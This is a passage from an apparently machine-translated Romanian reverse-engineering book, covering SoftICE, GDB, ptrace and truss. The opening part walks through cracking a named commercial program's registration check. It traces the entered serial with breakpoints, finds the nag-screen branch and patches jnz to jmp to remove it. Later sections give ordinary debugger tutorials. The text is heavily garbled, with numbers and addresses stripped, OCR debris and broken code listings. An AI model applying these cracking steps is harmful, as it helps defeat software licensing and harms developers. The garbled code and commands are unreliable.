mai adesea se întâmplă ca fișierul cheie / datele de înregistrare să fie extrase într-un singur loc și procesate într-un complet diferit Prin setarea unui punct de întrerupere pe funcția GetwindowTextA, vom intercepta codul care citește numărul de înregistrare pe care l-am introdus Cum să determinați unde este în comparație cu originalul? Este ușor! Deschidem documentația MSDN, ne uităm la prototipul funcției GetWindowText și vedem că pointerul către șirul returnat se află în al doilea argument din stânga Aceasta înseamnă că atunci când funcția GetwindowTextA este apelată, aceasta va fi localizată la esp + (patru octeți pentru hwnd și încă patru pentru adresa de retur) Introducem comanda bpx GetWindowTextA, ieșim din depanator, introducem numărul de serie în fereastra de editare, apoi facem clic pe OK Apare depanatorul Notă În exemplul nostru, depanatorul apare, deși în alte cazuri poate să nu apară, deoarece aici totul depinde de ce funcție API a folosit programatorul Prin urmare, opțiunile sunt posibile aici Dăm comanda d esp-> (dacă fereastra de descărcare este dezactivată, atunci înainte de aceasta trebuie să dați comanda wd), apoi comanda p ret - linia pe care am introdus-o apare în fereastră (Fig ) Tot ce avem nevoie este adresa sa, care în acest exemplu este F E Este logic să presupunem că pentru a compara parola cu originalul, protecția trebuie să o citească din memorie Acesta este momentul la care un hacker, înarmat cu un depanator, trebuie să urmărească Comanda Capitolul Introducere în Depanare Bpsh F E setează un punct de întrerupere la adresa F E , ceea ce face ca SoftICE să apară de fiecare dată când această celulă este accesată pentru citire sau scriere Sună grozav, dar nu funcționează întotdeauna în practică Nu este deloc un fapt că prima ascensiune a depanatorului ne va conduce la codul de protecție Cel mai probabil, aici va exista o funcție de bibliotecă care copiază parola într-un buffer local, transmisă de-a lungul lanțului către alte funcții Și e bine dacă transferul are loc prin referință! Adesea, un buffer este transmis după valoare, adică este copiat în întregime într-un alt buffer Trebuie să setați un punct de întrerupere pentru fiecare dintre aceste buffere, iar numărul total de puncte de întrerupere este doar patru Mai mult, această limitare este impusă nu de depanator, ci de arhitectura procesorului Orez Determinarea adresei la care este scrisă parola introdusă de utilizator Cu toate acestea, acest lucru nu înseamnă că punctele de întrerupere a datelor sunt inutile Dimpotrivă, înseamnă că sunt puternici într-o zonă complet diferită De exemplu, am aflat că variabila x conține steag-ul de înregistrare Cum exact s-a realizat acest lucru este irelevant Să presupunem că întâlniți cod care arată cam așa: emp [x], O / jz nag "screen (dacă variabila x este zero, afișați o casetă de dialog care necesită înregistrare) Cum se determină exact unde este inițializată variabila x? În cele mai multe cazuri, IDA Pro restaurează automat referințele încrucișate Cu toate acestea, dezvoltatorul mecanismului de protecție poate orbi cu ușurință dezasamblatorul Cu toate acestea, este puțin probabil să facă față comenzii bpm x (setează un punct de întrerupere la accesul la variabila x) Și iată o altă opțiune: am schimbat câțiva octeți în program, iar ea, după ce a descoperit faptul că pirateria ei, a refuzat să lucreze Pentru a găsi procedura de verificare a integrității codului, este suficient să setați unul sau mai multe puncte de întrerupere pe celulele modificate Da, te poți gândi la o mulțime de lucruri, principalul lucru este să ai o fantezie! Stiva de desfășurare Manifestările externe ale mecanismului de apărare sunt foarte ușor de detectat De regulă, aceasta este fie o fereastră cu un mesaj de probă expirată, fie un formular pentru introducerea unui număr de serie Setarea unui punct de întrerupere pe un mesaj wm command este ușoară, dar ce face? Ne vom găsi în interiorul unei proceduri de fereastră, în profunzime Partea a II-a Tehnici de bază de hacking intestinele cărora este îngropat codul de securitate Puteți, desigur, să urmăriți, dar va dura mult timp Asta ar fi să aflăm ce comenzi au fost executate înainte! Inversați execuția programului și vedeți ce cod determină faptul de înregistrare a programului Unele depanatoare acceptă un mecanism de urmărire inversă, amintind toate comenzile executate și stochându-le într-un buffer special Cu toate acestea, acest lucru încetinește foarte mult execuția programului și aduce tehnici anti-depanare în spațiul operațional Vom proceda altfel SoftICE acceptă o comandă de stivă elegantă care derulează stiva și tipărește adresele tuturor funcțiilor părinte Nu este chiar un înlocuitor echivalent pentru backtracing, dar pentru majoritatea cazurilor este suficient În cazul nostru, răspunsul depanatorului arată ca Lista Lista Derularea stivei în SoftICE :GRĂMADĂ E E B oorwiz' text+ AC E E E AZV USER DefWindowProcW+ E E FB USER SendMessageW+ E E E SZ USER WINNLSGetIMEHotkey+ E E E E USER 'EditWndProc+ E E DF UTILIZATOR iScrollWindow+ Е С EJ EB USER iShowCursor+ E BC E USER SetTimer+ E E E E USER 'SetRect+ E F A B USER 'CallWindowProcW+ Е F A oorwj z' text+ B ЕЗЗС F BC oorwiz' text+ ; AfxPostInitDialog E C F BC oorwiz text+ AC ; AfxWndProc EZVS E EB oorwiz text+ AC ; E DC E B USER !SetTimer+ Primele zece apeluri se referă la biblioteca USER DLL și nu ne interesează SoftICE a identificat incorect apelul E h ca aparținând la oorwiz, dar oorwiz nu poate fi localizat la adresele E B - această zonă aparține USER ) Dar al unsprezecelea apel E , care duce la adresa F A , este foarte interesant Privind aici cu un dezasamblator, găsim codul afișat în Listarea Lista Fragment dintr-un fișier dezasamblat care conține o condițională suspectă text: AZE apel dword ptr [eax+ Ch] text: AZEC test eax, eax text: A EE jnz short loc A text: A F push [ebp+arg ] text: A F mov eax, [esi] text: A F push [ebp+arg ] text: A F mov ecx, esi text: A FA push [ebp+arg„ ] text: A FD apel dword ptr [eax+ h] text: A mov [ebp+var ] , eax ; Adresă de retur text: A text: A loc A : ; COD XREF: CWnd::WindowProc()+ tj text: A mov eax, [ebp+var ] text: A pop esi text: A A plec text: A B retn OCh Capitolul Introducere în Depanare Funcția A FD:caii dword ptr [eax+llOh] este cea la care duce adresa de retur Ea este cea care afișează dialogul de înregistrare Derulând în sus pe ecranul dezasamblatorului, este ușor să găsiți saltul condiționat situat la iaee, care transmite controlul casei de dialog de întoarcere Schimbând jnz în jmp short, eliminăm definitiv dialogul de pe ecran Desigur, o astfel de măsură nu va înregistra încă programul, dar tot e ceva! Depanarea unui DLL Loader (încărcătorul simbolic al SoftICE) vă permite să încărcați biblioteci dinamice, dar nu vă permite să le depanați offline De fapt, acest lucru nu ar trebui să fie surprinzător, deoarece orice astfel de bibliotecă este doar un set de funcții numite din procesul principal Să luăm biblioteca oorwiz dll, care exportă un trio de funcții cu nume tentante: RegWiz InitReadOnly, RegWiz InitTrial, RegWiz InitLicMgr Cum să le depanezi? Intrăm în Loader , selectăm elementul Fișier | Încărcați Export, specificați numele bibliotecii (oorwiz dll) Noul nume apare imediat în lista de simboluri încărcate (Figura ) Acum încărcăm executabilul principal (în acest caz oodled exe) și setăm puncte de întrerupere pentru funcțiile care ne interesează (bpx RegWiz InitReadOnly, bpx RegWiz InitTrial, bpx RegWiz InitLicMgr), determinând depanarea să apară atunci când sunt apelate Orez Se încarcă exportul din biblioteci dinamice Deoarece bibliotecile dinamice sunt relocabile, este posibil ca adresele din dezasamblator să nu se potrivească cu adresele afișate de depanator De exemplu, în oorvviz dll, IDA Pro definește adresa funcției Regwiz-initTrial ca lOOOlDOOh și SoftICE ca F Ei bine, cum să trăiești cu ea? Și iată cum: adresa de bază de descărcare (imagebase) este egală cu lOOOOOOOh, ceea ce IDA Pro recunoaște sincer chiar la începutul fișierului Dar biblioteca nu poate fi încărcată la această adresă, iar sistemul de operare o mută la adresa xxxx, așa cum este indicat de comanda mod din SoftICE (Listing ) Partea a II-a Tehnici de bază de hacking Lista - Vizualizarea adreselor de încărcare de bază folosind comanda MOD în SoftICE :mod hMod Base Module Name Nume fișier C ntoskrnl \WINNT\System \ntoskml exe plin F OOF OB oodlrwrs F F F oorwiz CO oodledrs \Program Files\OO Software\DnveLED \ood \Program Files\OO Software\DnveLED \ood \Program FilesXOO Software\DriveLED \sau \Program Files\OO Software\DnveLED \ood Diferența dintre adresele de bază este -F == foaiooo Prin urmare, pentru a traduce adresa afișată în depanator în adresa afișată în dezasamblator, trebuie să adăugați foaiooo la aceasta și pentru a inversa conversia, în consecință, trebuie să efectuați o operație de scădere Concluzie Tehnicile luate în considerare nu funcționează peste tot și nu întotdeauna Dezvoltatorii mecanismelor de apărare nu sunt întotdeauna naivi și încă se protejează de hacking Prin urmare, cel mai bine este să începeți antrenamentul cu apărări simple, trecând treptat la altele mai complexe Depanatorul este un instrument complex care nu este stăpânit într-o zi Studiul codurilor mașinilor este o adevărată artă, care se învață pe tot parcursul vieții Deci nu este nevoie să fii supărat dacă ceva nu merge Cu cât apărarea este mai vicleană și cu cât hack-ul este mai dificil, cu atât vei obține mai multă satisfacție de la un hack de succes! Capitolul Funcții de depanare în UNIX și Linux Prima cunoaștere cu GDB (un analog al debug com pentru MS-DOS, doar mai puternic) provoacă un amestec de dezamăgire și indignare printre fanii Windows Documentarea grea îi duce într-o depresie profundă Epoca de piatra! Pentru astfel de utilizatori, de regulă, rămâne un mister cum doar Unixoids reușesc să supraviețuiască în mediul agresiv al acestei lumi primitive? Câteva rânduri de cod sursă UNIX își amintesc încă acele vremuri străvechi când nu exista nimic asemănător depanării interactive, iar singura modalitate de a face față erorilor era o descărcare în caz de accident Programatorii au trebuit să studieze grămezi de imprimări luni de zile, colectând codul împrăștiat într-o imagine coerentă Puțin mai târziu, a apărut tipărirea de depanare - instrucțiuni de ieșire inserate în pozițiile cheie și tipărirea conținutului celor mai importante variabile În cazul unui accident, o foaie întreagă de imprimări (numite în mod colocvial „pânză de picioare”) a făcut posibil să se stabilească ce făcea programul înainte de accident și ce a provocat dezastrul Imprimarea de depanare și-a păstrat relevanța până în prezent În lumea Windows, este de obicei folosit doar în versiunile de depanare ale programului (vezi Listarea ) și eliminată din versiunea finală (vezi Listarea ) Desigur, acest lucru este rău, deoarece dacă utilizatorii finali eșuează, atunci le rămâne în mâinile lor doar o descărcare în caz de accident, ceea ce nu te va duce departe Desigur, imprimarea de depanare consumă resurse semnificative și necesită timp Acesta este motivul pentru care există atât de multe sisteme de gestionare a jurnalelor în UNIX - de la syslog standard, la sistemul avansat de înregistrare a evenimentelor Enterpnse (http://evlog sourceforge net/) Acestea reduc producția și supraîncărcarea în jurnal, crescând foarte mult viteza de execuție a programului Imprimarea de depanare elimină % din necesitatea depanării, deoarece depanatorul este utilizat în principal pentru a determina modul în care programul se comportă într-un anumit loc: dacă este luată o ramură condiționată, ce returnează funcția, ce valori sunt conținute în variabile etc Când utilizați imprimarea de depanare, programatorul pur și simplu inserează funcțiile fpnntf /syslog în punctele potrivite și se uită la rezultat! • Lista Un exemplu de utilizare slabă a tastării de depanare #lfdef DEBUG fpnntf (fișier jurnal, "a = %x, b = %x, c = %x\n", a, b, c) ; #endif i Lista Un exemplu de utilizare bună a imprimării de depanare lf( DEBUG ) fpnntf (fișier jurnal, „a = %x, b = %x, c = %x\n”, a, b, c) ; Omul nu este un slujitor al computerului! Aceste computere au fost create pentru a automatiza activitățile umane Prin urmare, UNIX „mecanizează” căutarea erorilor cât mai mult posibil Setați avertismentele compilatorului la maximum sau utilizați verificatori de cod offline (dintre care cel mai faimos este L NT, prezentat în Figura ), iar erorile vor rula din program ca șobolanii dintr-o navă care se scufundă Notă Compilatoarele Windows pot genera, de asemenea, mesaje de eroare la fel de severe ca GCC Din păcate, mulți programatori pur și simplu nu acordă suficientă atenție acestor caracteristici Un singur pas și punctele de întrerupere în UNIX sunt utilizate numai în cazuri severe, când toate celelalte mijloace sunt neputincioase Pentru fanii Windows, această abordare pare depășită, defectuoasă și teribil de incomod Motivul pentru aceasta este că depanatoarele Windows sunt eficiente în rezolvarea problemelor pe care UNIX pur și simplu nu le are Diferența în culturile de programare dintre Windows și UNIX este de fapt foarte, foarte semnificativă, așa că înainte de a arunca cu pietre în grădina altcuiva, curățați-vă pe propria dvs „Neobișnuit” nu înseamnă „greșit” Unixoid-ul care se găsește în Windows simte exact același disconfort Secțiunea Caracteristici de depanare în UNIX și Linux Ptrace - fundație pentru GDB O scurtă prezentare generală a instrumentelor de hacking (inclusiv depanatoarele) pentru UNIX și Linux a fost oferită în Capitolul Aici, accentul se va pune pe aplicarea lor practică Să începem discuția despre caracteristicile de depanare UNIX cu GDB, un depanator multiplatform independent de sistem Ca majoritatea depanatoarelor UNIX, se bazează pe biblioteca Ptrace, care implementează primitive de depanare de nivel scăzut Pentru depanarea proceselor multithreaded și a aplicațiilor paralele, este recomandat să folosiți biblioteci suplimentare, și chiar mai bine, depanatoare specializate precum TotalView (http://www etnus com), deoarece GDB nu se ocupă foarte bine de multithreading ptrace oferă funcționalitatea minimă necesară, permițându-vă să transferați procesul într-o stare oprită și să reluați execuția acestuia, să citiți / scrieți date din / în spațiul de adrese al procesului care este depanat, citiți / scrieți registrele procesorului În arhitectura I , acestea sunt registre de uz general, registre de segment, registre de coprocesor (inclusiv SSE), precum și registre de depanare ale familiei drx (sunt necesare pentru a organiza punctele de întrerupere hardware) Pe Linux, puteți încă să manipulați structurile de servicii ale procesului care este depanat și să monitorizați apelurile de funcții ale sistemului Clonele UNIX „corecte” nu au această posibilitate, iar funcționalitatea lipsă trebuie implementată deja în depanator Un exemplu de utilizare a Ptrace în programe este prezentat în Listarea '■ ": **** ! u" Lista Un exemplu de ^all e programs® stratificat scris pentru FreeBSD ♦include ♦include ♦include ♦include ♦include ♦include ♦include ♦include int pid; int wait val; contor lung lung = ; // PID-ul procesului care este depanat // wait scrie valoarea returnată aici // Contor de instrucțiuni urmărite // Împărțiți procesul în două // Procesul părinte va depana „copilul” // (manevrarea erorilor a fost omisă pentru concizie) comutator (pid = furk()) cazul : // Depanarea procesului copil // Tati, urmărește-mă! ptrace(PT TRACE ME, , , ); // Apelați programul care trebuie urmărit // (această abordare nu funcționează pentru programele criptate) exci( /bin/ls", "Îs", ); pauză; implicit: // Procesul părinte depanează „copilul” // Așteptați ca procesul de depanare să treacă Partea a II-a Tehnici de bază de hacking // la o stare de oprire așteptați(&wait val); // Urmăriți procesul copil până la finalizare, în timp ce (WIFSTOPPED(wait val) /* */) { // Executați următoarea instrucțiune de mașină // Treci la starea de rupere if (ptrace(PT STEP, pid, (caddr t) , )) break; // Așteptați până când procesul este depanat // nu va trece la starea oprită, așteptați(&wait val); // Crește contorul mașinii executate // instrucțiuni pe unitate contor++; } } // Tipăriți numărul de instrucțiuni ale mașinii executate printf("== %lld\n", contor); } Exemplul de urmărire prezentat în Listarea este pentru numărarea instrucțiunilor mașinii în utilitarul Îs și este pentru FreeBSD Pentru a compila același exemplu pe Linux, înlocuiți pt trace me cu ptrace traceme și pt ^step cu ptrace singlestep Biblioteca Ptrace și comenzile acesteia În modul utilizator, este disponibilă o singură funcție - ptrace ((int request, pid t pid, caddr t addr, int data)), dar această funcție face totul! Dacă doriți, puteți scrie propriul dvs mini-depanator special conceput pentru a rezolva o anumită problemă în câteva ore Argumentul request pentru ptrace este cel mai important dintre toate Acesta definește acțiunea specifică care trebuie efectuată Fișierele antet în BSD și Linux folosesc definiții diferite, ceea ce face dificilă portarea aplicațiilor Ptrace de la o platformă la alta În mod implicit, vom folosi definițiile din fișierele antet BSD □ pt trace me (pe Linux, ptrace traceme) pune procesul curent într-o stare oprită Folosit de obicei împreună cu fork/execx, deși se găsesc și aplicații de autotracing Un apel către pt trace me poate fi efectuat o singură dată pe proces Nu puteți urmări un proces care este deja urmărit O consecință mai puțin semnificativă este că un proces nu se poate urmări singur, ci mai întâi trebuie să se despartă Aceasta este baza pentru un număr mare de trucuri anti-depanare, pentru a le depăși trebuie să folosiți depanatoare care ocolesc ptrace Un semnal este trimis procesului care este depanat, punându-l într-o stare oprită, din care poate fi ieșit printr-o comandă pt continue sau pt step apelată din contextul procesului părinte Funcția de așteptare întârzie controlul procesului părinte până când procesul care este depanat intră în starea oprit sau iese (moment în care returnează ) Restul argumentelor sunt ignorate □ pt attach (în Linux, ptrace attach) oprește un proces care rulează deja cu ID-ul de proces dat (pid), procesul de depanare devenind „strămoșul” acestuia Restul argumentelor sunt ignorate Procesul trebuie să aibă același uid ca și procesul de depanare De asemenea, nu trebuie să fie un proces setuid/setduid (cu excepția cazului în care procesul de apelare are privilegii root) □ pt detach (pe Linux, ptrace detach) oprește depanarea procesului cu pid-ul dat (atât pt attack, cât și pt trace me) și își reia execuția normală Toate celelalte argumente sunt ignorate Secțiunea Caracteristici de depanare în UNIX și Linux □ pt continue (în Linux, ptrace cont) reia procesul de depanare la pid-ul dat fără a întrerupe legătura cu procesul de depanare Dacă addr == ( pe Linux), execuția continuă de unde a fost oprită ultima dată, în caz contrar, de la adresa specificată Argumentul data specifică numărul semnalului trimis către procesul care este depanat (zero înseamnă că nu există semnale) □ PT-STEP (în Linux, ptrace singlestep) parcurge procesul cu pid-ul dat: executați următoarea instrucțiune de mașină și intrați în starea de pauză (sub I , acest lucru se realizează prin setarea flag-ului de urmărire, deși unele biblioteci „hack” folosesc hardware puncte de întrerupere) BSD necesită ca argumentul addr să fie , Linux așteaptă aici Alte argumente sunt ignorate □ pt read i/pt reead d (pe Linux, ptrace peektext/ptrace peekdata) citește un cuvânt de mașină din zona de cod și, respectiv, din zona de date a spațiului de adresă al procesului care este depanat Pe majoritatea platformelor moderne, ambele comenzi sunt complet echivalente Funcția ptrace ia o adresă țintă și returnează rezultatul citit □ pt write i/pr read d (pe Linux, ptrace poketext, ptrace pokedata) scrieți cuvântul mașină transmis în data la adresa adresa □ PT GETREGS/PT GETFPREGS/PT GETDBREGS (în LinUX, PTRACE GETREGS, PTRACE GETFPREGS, ptrace getfpxregs) citește registrele de scop general, segmentul și depanare în zona de memorie a procesului de depanare specificată de pointerul addr Acestea sunt comenzi dependente de sistem, acceptabile numai pentru platforma I Descrierea structurii registrului este conținută în fișierul □ PT SETREGS/PT SETFPREGS/PT SETDBREGS (în LinUX, PTRACE SETREGS, PTRACE SETFPREGS, ptrace setfpxregs) setează registrele procesului care este depanat prin copierea conținutului regiunii de memorie la pointerul addr □ pt kill (în Linux, ptrace kill) trimite un semnal sigkill procesului care este depanat, ceea ce încheie execuția procesului care este depanat Suport multithreading în GDB Puteți determina dacă versiunea dvs de GDB acceptă multithreading cu comanda info thread (afișează informații despre fire) și pentru a comuta între fire de execuție, utilizați comanda thread w (consultați Listările și ) Dacă multithreading nu este acceptat, actualizați GDB la versiunea x sau instalați un patch special care vine cu clona UNIX sau este distribuit separat LmsіfG v fire de informații (GDB) (GDB) fire de informații Thread (EWP ) RunEuler (lpvParam= x a ac) la eu kem cpp: Thread (LWP ) x efl in libc read() din /lib/libc so * Thread (LWP ) x în poli (fds= x e , nfds=l, timeout= ) fir (ІЖ> ) x caea în sigsuspend (set= xbffffllc) (GDB) firul Pentru a depana aplicațiile paralele, se recomandă utilizarea TotalView (Fig ) Partea a II-a Tehnici de bază de hacking forte loogtimix I Fie Ed t yiew Grup Proces Subiect Acţiune Punct Instrumente Fereastra Heip ! Grup (Control) > [ GO | Oprire | Pasul următor I | Put Run To | Nexijstepij P- P* T- !♦ Procesul ( ) forkjoopLinux (La Brea»punctul ) Orez Depanatorul TotalView este un instrument specializat pentru depanarea aplicațiilor paralele Ghid rapid pentru GDB GDB este o aplicație de consolă realizată în spiritul clasic al liniei de comandă (Figura ) În timp ce GDB a creat o mulțime de interfețe grafice frumoase încă de la începuturile sale (Figurile și ), depanarea interactivă în stilul Turbo Debugger este extrem de nepopulară în lumea UNIX De regulă, aceasta este soarta imigranților de pe platforma Windows, a căror conștiință este paralizată ireversibil de ideologia MicroSoft Cu alte cuvinte, dacă Turbo Debugger este o unealtă de banc, atunci GDB este un strung CNC Într-o zi o să-ți placă Pentru depanarea la nivel de sursă, programul trebuie să fie compilat cu informații de depanare În GCC, comutatorul -d este responsabil pentru acest lucru Dacă nu sunt disponibile informații de depanare, GDB va depana programul la nivel de dezasamblare De obicei, numele fișierului de depanat este transmis pe linia de comandă, de exemplu: gdb filename Pentru a depana un proces activ, specificați D-ul său pe linia de comandă și pentru a conecta nucleul, utilizați comutatorul -core==corename Toți cei trei parametri pot fi încărcați în același timp, comutând între ei alternativ cu comanda țintă Comanda exec țintă comută la fișierul care este depanat, comanda copil țintă la procesul atașat și nucleul țintă la descărcarea de bază Comutatorul opțional -q suprimă afișarea informațiilor privind drepturile de autor Secțiunea Caracteristici de depanare în UNIX și Linux Orez Interfață GDB clasică Orez Depanator DDD - GUI la GDB Partea a II-a Tehnici de bază de hacking Orez Un alt GUI pentru GDB După încărcarea programului în depanator, ar trebui să setați un punct de întrerupere Pentru aceasta, este folosită comanda break (alias b) Comanda principală b setează un punct de întrerupere la funcția principală C, iar comanda start setează un punct de întrerupere la punctul de intrare al unui fișier ELF (cu toate acestea, este numit diferit în unele fișiere) De asemenea, puteți seta un punct de întrerupere la o adresă arbitrară, de exemplu: b * x sau b *$eax Registrele sunt scrise cu litere mici și sunt precedate de semnul dolarului GDB acceptă două registre „la nivelul întregului sistem”: $pc este indicatorul de instrucțiune și $sp este pointerul stivei Amintiți-vă doar că imediat după ce programul este încărcat în depanator, acesta încă nu are niciun registru și ele apar numai atunci când procesul care este depanat este lansat pentru execuție (run command, alias d) Depanatorul decide independent ce punct de întrerupere să seteze - software sau hardware Prevenirea acesteia nu este recomandată, deoarece comanda pentru a forța un punct de întrerupere hardware - hbreak - nu funcționează pe toate versiunile de depanare Punctele de întrerupere a datelor din GDB sunt numite puncte de urmărire Comanda watch addr invocă depanatorul ori de câte ori conținutul addr se modifică, iar comanda awatch addr invocă depanatorul atunci când adresa este citită/scrisă Comanda rwatch addr este doar pentru citire, dar nu funcționează în toate versiunile de depanare Puteți vizualiza lista punctelor de întrerupere/puncte de urmărire setate cu comanda info break Comanda clear elimină toate punctele de întrerupere, iar comanda clear addr elimină toate punctele de întrerupere setate pentru o anumită funcție, adresă sau număr de linie Comenzile de activare/dezactivare vă permit să activați/dezactivați temporar punctele de întrerupere Punctele de întrerupere acceptă sintaxa de comandă condiționată avansată, care poate fi găsită în documentație Comanda continue (prescurtarea de la c) reia execuția programului întreruptă de un punct de întrerupere Următoarea comandă n (n n) execută următoarele N linii de cod fără a introduce funcții imbricate, iar comanda pasului N (sn) face același lucru, dar cu introducerea funcției imbricate Dacă nu este specificat N, valoarea implicită este o linie Comenzile nexti/stepi fac la fel, dar nu funcționează cu linii sursă, ci cu comenzi de mașină De obicei ei Capitolul Funcții de depanare în UNIX și Linux sunt utilizate împreună cu comanda display/i $pc (x/i $pc), care îi spune depanatorului să afișeze comanda curentă a mașinii Este suficient să-l sunați o dată pe sesiune Comanda jump addr transferă controlul într-un punct arbitrar din program, iar comanda call addr/fname apelează funcția fname cu argumente! Rețineți că această funcție nici măcar nu este disponibilă în SoftICE! Cu toate acestea, necesitatea acestui lucru apare adesea Alte comenzi utile sunt: fimsh - continuă execuția până la ieșirea funcției curente (care corespunde comenzii p ret din SoftICE), până la addr (u addr) - continuă execuția până când se ajunge la adresa specificată (când această comandă este rulată fără argumente, va opri execuția programului depanat când se ajunge la următoarea comandă, ceea ce este foarte important pentru bucle) Cu ajutorul comenzii return, puteți întrerupe prematur execuția funcției apelate Dacă dați comanda expresie returnată, unde argumentul expresiei este o expresie, atunci valoarea acestei expresii va fi valoarea returnată a funcției Comanda prinț expression (p expression) tipărește valoarea expresiei (de exemplu, p + ), conținutul unei variabile (p my var), conținutul unui registru (p $eax) sau o locație de memorie (p * x , p *$eax) Dacă trebuie să afișați mai multe celule, utilizați comanda x/Nh addr, unde N este numărul de celule de afișat În acest caz, nu trebuie să puneți un asterisc înaintea adresei Comanda info registers (i r) afișează valorile tuturor registrelor disponibile Modificarea conținutului celulelor/registrilor de memorie se realizează prin comanda set De exemplu, setați $eax = setează eax la zero, set var my var = $ex setează my var la esx și setați {unsigned char*} x = xcc setează x la xcc Comanda dezasamblare addr from addr to scoate conținutul memoriei ca o listă dezasamblată, al cărei format de prezentare este determinat de comanda set de instrucțiuni de dezasamblare-aromă Cadrul de informații, argumentele de informații, comenzile locale de informații afișează conținutul cadrului de stivă curent, argumentele funcției și variabilele locale Comanda frame N este folosită pentru a comuta la cadrul funcției părinte Comanda backtrace (bt) face la fel ca comanda stivă de apeluri în depanatoarele Windows La examinarea haldelor de miez, este indispensabil Cu alte cuvinte, o sesiune tipică cu GDB arată astfel: încărcăm programul în depanator, lansăm comanda b (dacă această comandă nu funcționează, atunci comanda b start) După ce se stabilește un punct de întrerupere, dăm comanda r, după care depanăm programul în pași: n / s Puteți lansa opțional comanda x/i $pc pentru ca GDB să vă arate ce cod rulează în prezent Depanatorul este părăsit cu comanda ieșire (q) Descrierea altor comenzi poate fi găsită în documentație (vezi, de exemplu, http://www deIorie eom/gnu/does/GDB/GDB toc html#SEC Contents) Notă Doar comenzile GDB minime necesare au fost enumerate aici, astfel încât acest material nu este în niciun caz un substitut pentru baza documentației În comparație cu depanatoarele Windows, depanatoarele UNIX diferă prin concentrarea lor profesională Prezența în depanatoarele Windows a butoanelor tridimensionale, pictogramelor scalabile, meniurilor pop-up - toate acestea, desigur, sunt foarte frumoase Dar le lipsesc aproape complet posibilitățile de automatizare (în curând vă veți plictisi apăsând de multe ori la rând, de exemplu) În GDB, în același scop, este mult mai ușor să scrii o macro sau chiar să folosești una gata făcută Această comandă este în prezent definită numai pentru arhitectura Intel x Opțiunea set de instrucțiuni poate fi intel sau att Valoarea implicită este att, care este sintaxa AT&T implicită utilizată de asamblatorii UNIX pentru arhitectura x Partea a II-a Tehnici de bază de hacking Instrumentele de depanare în UNIX sunt puternice și variate și nu se limitează doar la GDB Singurul lucru care îi lipsește UNIX este un depanator bun la nivel de kernel, concentrat pe lucrul cu fișiere binare fără informații despre simbol și teste sursă O copilărie dificilă și rătăcirea pe mai multe platforme au lăsat o urmă întunecată pe UNIX și o dorință neliniștită de portabilitate și multiplatforme Cu toate acestea, disponibilitatea codului sursă face ca această problemă să fie irelevantă Urmărirea apelurilor de sistem Interceptarea funcțiilor sistemului este o fereastră reală în lumea interioară a programului investigat, arătând numele funcțiilor apelate, argumentele acestora și codurile returnate Lipsa verificărilor „extra” pentru erori este o boală a tuturor programatorilor începători, iar un depanator nu este cel mai bun instrument pentru a le găsi În acest scop, este mai bine să utilizați una dintre utilitățile obișnuite - truss/ktrace sau să luați orice analizor gratuit/comercial Lista arată jurnalul generat de ferme Uite, înainte de a muri, programul încearcă să-mi deschidă fișierul bun, nu-l găsește și, ca rezultat, aruncă depozitul de bază Desigur, acesta este cel mai simplu caz, dar regula de zece spune că nouăzeci la sută din timpul de depanare este petrecut căutând erori care nu merită deloc căutate! Lista Găsirea erorilor cu utilitarul truss sysctl(Oxbfbffb x x bce xbfbffb x x ) = ( x ) mmap( x , , x , x ,- , x ) geteuid() getuid() geteqidf) getgidO deschide("/var/run/ld-elf so hints", , ) citire( x ,Oxbfbf fbO x ) lseek( x ) citiți( x , x , x b) închideți( ) acces ( /usr/lib/libc so ", ) deschide("/usr/lib/libc so ", , ) fstat( ,Oxbfbffb ) citire( x , xbfbfeb , x ) mmap( x , , x , x , , x ) mmap( x e , , x , x , , x f ) mmap( x OeaOOO, , x , x ,- , x ) close( ) sigaction(SIGILL,Oxbfbffba ,Oxbfbffb ) sigprocmask( x , x , x bclc) sigaction(SIGILL, xbfbffb , x ) SEMNAL SEMNAL procesul s-a oprit din cauza: ieșire din proces, rval = = ( x d ) = ( x ) = ( x ) = ( x ) = ( x ) = ( x ) = ( x ) = ( x ) = ( x b) = ( x ) = ( x ) = ( x ) = ( x ) = ( x ) = ( x ) = ( x e ) = ( x ea ) = ( x ) = ( x ) = ( x ) = ( x ) = ( x ) = ( x ) ERR# „Nu există un astfel de fișier sau director O scurtă prezentare generală a depanatoarelor UNIX a fost oferită în Capitolul Secțiunea Caracteristici de depanare în UNIX și Linux Depanarea fișierelor binare în GDB Deși trecerea de la SoftICE la GDB este de obicei dureroasă, rețineți că efortul va fi mai mult decât răsplătit, deoarece GDB este cu adevărat unul dintre cei mai puternici depanatori moderni Rulând GDB, ne aflăm într-o cu totul altă lume, asemănătoare cu o pădure deasă, în care este foarte ușor să ne pierdem O scurtă descriere a comenzilor GDB a fost deja oferită în acest capitol și acum este timpul să discutăm despre cum să echipați GDB pentru scopuri de hacker Observăm încă o dată că înainte de a efectua sarcini în cadrul GDB care sunt de valoare practică, acest depanator trebuie stăpânit cu măiestrie Spre deosebire de SoftICE, GDB se bazează pe concepte non-vizuale Printre caracteristicile sale, în primul rând, trebuie remarcată orientarea profesională Aceasta înseamnă că aici se pune accentul pe confortul îndeplinirii sarcinilor practice și nu pe ușurința dezvoltării Pentru ca acest „monstru” să funcționeze, va trebui să citești mii de pagini de documentație, dar mai târziu eforturile tale vor fi bine răsplătite Notă Deși pentru GDB au fost dezvoltate o serie de GUI-uri frumoase (vezi secțiunea „GDB Quick Start” mai devreme în acest capitol), este recomandat ca cei care intenționează să se priceapă cu adevărat la acest depanator puternic să nu le folosească Toate aceste GUI-uri numai discreditează ideile principale ale GDB contravin filozofiei sale de depanare interactivă Pregătirea pentru depanare Încărcarea fișierelor executabile în depanator se face de obicei prin specificarea numelui acestora (cu o cale, dacă este necesar) pe linia de comandă Este util să specificați comutatorul -quiet (abreviat -q) pentru a suprima afișarea informațiilor despre copyright Pentru a transmite argumente programului, utilizați comutatorul args, urmat de numele fișierului care este depanat cu argumentele acestuia Rețineți că GDB oprește procesarea opțiunilor din linia de comandă atunci când întâlnește comutatorul -args, așa că ar trebui să fie întotdeauna listat ultimul Listările - și - arată liniile de comandă care arată cum să încărcați fișierul GDB-demo în depanator cu și, respectiv, fără argumente Lista Încărcarea unui fișier demo GDB în depanator fără a specifica argumente , Listarea Încărcarea fișierului GDB-demo în depanator cu argumente #GDB -q args GDB-demo argl arg argN Depanatorul imprimă un prompt de comandă (gdb) și așteaptă introducerea comenzilor Dacă se dorește, fișierul de depanat poate fi încărcat direct din depanator cu comanda fișier (Listing ) Lista Încărcarea fișierului GDB-demo direct din depanator #GDB -q (GDB) fișier GDB-demo Citirea simbolurilor din GDB-demo gata GDB are, de asemenea, propria interfață grafică încorporată, numită cu comutatorul de linie de comandă -tui Partea a 